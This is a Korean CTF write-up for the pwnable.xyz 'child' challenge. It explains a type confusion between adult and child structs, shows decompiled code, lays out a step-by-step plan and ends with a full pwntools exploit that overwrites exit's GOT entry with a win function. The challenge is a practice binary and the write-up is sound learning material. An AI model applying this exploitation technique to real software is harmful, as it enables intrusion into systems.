WAR GAME/pwnable.xyz

[pwnable.xyz] child 풀이 (type confusion)

jir4vvit 2021. 6. 28. 14:36
문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

얼마 전에 면접 준비하면서 풀었는데, 롸업을 못올리고 있었다.

 

이 문제가 type confusion이라고 한다. 예전에 type confusion에 대해 찾아본 적이 있는데 

누가 뭐냐고 물으면 그냥 단순하게 타입혼동!!! 이라고 할 것 같다 ㅎ;; 

다시 찾아봐야지 ...


Analysis

Check Mitigation

No PIE 너무 좋다.

got overwriting도 된다.

Execution

4번 메뉴의 rejuvenate 뜻이 젊어지게 하다. 이다.

그러면... 사람을 젊어지게 하는...? 그런 메뉴다.. 신기하다...ㅋㅋ!

 

6번 메뉴 evict는 퇴거시키다..라는데 사람을 퇴거시키다..? 뭐지? T_T

Code

main

메뉴 1: create_adult()

메뉴 2: create_child()

메뉴 3: age_up()

메뉴 4: age_down()

메뉴 5: transform_person()

메뉴 6: delete_person()

 

그리고 flag 주는 win함수가 존재해서 이 함수를 실행만 시키면 될 것 같다.

 

1) create_adult()

아래는 함수 전체 코드!

더보기
int create_adult()
{
  int age; // ebp
  struct_adult *adult; // rbx
  _QWORD *v2; // rdx
  int result; // eax

  __printf_chk(1LL, "Age: ");
  age = read_int32();
  if ( (age - 18) > 62 )
    return puts("Not an adult.");
  adult = malloc(0x20uLL);
  adult->age = age;
  adult->type = 2LL;
  adult->name = malloc(0x10uLL);
  __printf_chk(1LL, "Name: ");
  read(0, adult->name, 0x10uLL);
  adult->Job = malloc(0x20uLL);
  __printf_chk(1LL, "Job: ");
  read(0, adult->Job, 0x20uLL);
  if ( town[0] )
  {
    v2 = &unk_602288;
    result = 1;
    while ( *v2 )
    {
      ++result;
      ++v2;
      if ( result == 10 )
      {
        puts("Town full.");
        exit(1);
      }
    }
  }
  else
  {
    result = 0;
  }
  town[result] = adult;
  return result;
}

코드를 보고 구조체를 정의해주었다.

구조체

 

그리고 town에다가 adult를 추가시켜준다.

 

 

2) create_child()

아래는 함수 전체 코드!

더보기
int create_child()
{
  unsigned int age; // eax
  signed int v1; // ebp
  struct_child *child; // rbx
  _QWORD *v3; // rdx
  int result; // eax

  __printf_chk(1LL, "Age: ");
  age = read_int32();
  if ( age > 0x12 )
    return puts("Not a child.");
  v1 = age;
  child = malloc(0x20uLL);
  child->age = v1;
  child->type = 1LL;
  child->name = malloc(0x10uLL);
  __printf_chk(1LL, "Name: ");
  read(0, child->name, 0x10uLL);
  child->job = malloc(0x20uLL);
  __printf_chk(1LL, "Job: ");
  read(0, child->job, 0x20uLL);
  if ( town[0] )
  {
    v3 = &unk_602288;
    result = 1;
    while ( *v3 )
    {
      ++result;
      ++v3;
      if ( result == 10 )
      {
        puts("Town full.");
        exit(1);
      }
    }
  }
  else
  {
    result = 0;
  }
  town[result] = child;
  return result;
}

child 역시 코드를 보고 구조체를 정의해주었다.

 

그리고 town에다가 child를 추가시켜준다.

 

 

 

여기서 adult와 child의 구조체를 한번에 정리해보자.

<<adult>>

[0] name (malloc) [1] type = 2
[2] age [3] job (malloc)

<<child>>

[0] name (malloc) [1] type = 1
[2] job (malloc) [3] age

 

구조체 모양이 조금 다르다. 여기서 뭔가 좀 문제가 될 것 같다.

3) age_up()

type으로 adult와 child를 구분해서 age를 늘려준다.

 

4) age_down()

이 메뉴를 호출하면 exit(1)을 호출하면서 그냥 종류된다.

5) transform_person()

transform하면서 name과 job을 새롭게 다시 입력을 받는다.

여기서 type으로 adult와 child를 구분하기 때문에 문제가 생긴다. 

 

 

참고로.. child의 나이가 18인 경우에만 저 type이 2가 되어서 child에서 adult가 된다.

 

 

1. 만약 child를 adult로 바꾸게 되면 job을 새롭게 입력을 하게 되는데

<<child>>

[0] name (malloc) [1] type = 1
[2] job (malloc) <<- 이 부분을 새롭게 입력받음(malloc 반환값인 주소가 저장)
[3] age

 

2. type을 2로 바꿈 그러면 새롭게 입력한 부분은 age부분이 됨!!

<<adult>>

[0] name (malloc) [1] type = 2
[2] age <<- 이 부분을 새롭게 입력받았음(malloc 반환값인 주소가 저장) [3] job (malloc)

 

3. 그리고 여기서 age_up()을 하게 된다면 ..?

<<adult>>

[0] name (malloc) [1] type = 2
[2] age <<- 주소값이 올라갈 것..!!! [3] job (malloc)

주소 값이 올라가서 원하는 부분에 접근할 수 있을 것이다.

 

 

6) delete_person()

그냥 town에서 삭제해버린다..

 

Exploit Scenario

  1. 나이가 18인 child(0)와, adult(1)를 생성한다.
  2. child(0)를 adult로 바꾼다. : adult(child)
  3. adult(child(0))의 job이 adult(1)의 name을 가르키도록 한다. -> age_up!
  4. adult(child(0))를 다시 child로 바꾼다. : child(adult(child))
    • 원래 이 때, job에 exit_got을 입력하려고 했다.
    • 하지만 디버깅을 해보니 age에 exit_got을 입력받으려고 해서 ... 그냥 아무값 넣어주었다.
    • 아무값으로 10을 넣어주었다.
    • 이 10은 메뉴 선택할때로 넘어가서 Invalid를 출력해주었다.
    • 찾아보니 read의 버퍼 때문이라고 한다.
  5. child(adult(child(0)))를 다시 adult로 바꾼다. : adult(child(adult(child)))
    • 이 때, job에다가 exit_got을 입력한다.
    • 현재 job은 adult(1)의 name을 가리키고 있는 상태이다.
    • 따라서 adult(1)의 name에는 exit_got이 들어가 있다.
  6. adult(1)을 child로 바꾼다. : child(adult)
    • adult(1)을 child로 바꿀 때, name을 새로 입력을 받는데, 현재 name이 가리키고 있는 주소인 exit_got에다가 새롭게 쓸 수 있다.
    • exit_got에 win주소를 씀으로 got overwriting을 할 수 있다.
  7. 4번 메뉴를 통해 exit을 실행한다.

 

Exploit Code

이런 메뉴형 문제는 메뉴를 구현해놓으면 익스하기 편하다.

from pwn import *

#p = process('./challenge')
p = remote('svc.pwnable.xyz', 30038)
e = ELF('./challenge')

win = e.symbols['win']
exit_got = e.got['exit']

def create(ac, age, name, job):
    p.sendafter('> ', str(ac))
    p.sendafter('Age: ', str(age))
    p.sendafter('Name: ', str(name))
    p.sendafter('Job: ', str(job))

def age_up(idx):
    p.sendafter('> ', str(3))
    p.sendafter('Person: ', str(idx))

def transform(idx, name, job):
    p.sendafter('> ', str(5))
    p.sendafter('Person: ', str(idx))
    p.sendafter('Name: ' , str(name))
    p.sendafter('Job: ', str(job))

def exit():
    p.sendafter('> ', str(4))

# create child, adult
create(2, 18, 'AAAA', 'CHILD')
create(1, 20, 'BBBB', 'ADULT')
    
#pause()
# child -> adult
transform(0, 'ABCD', 'CHILDA')

# child's job points adult name
for i in range(0x30):
    age_up(0)

#pause()
# adult(child) -> child
transform(0, 'ABBB', 10) # third argument : job x age o 

#pause()
# child(adult(child)) -> adult 
transform(0, 'ACCC', p64(exit_got))

# adult -> child
# got overwrite
transform(1, p64(win), 'ADULTC')


exit()

p.interactive()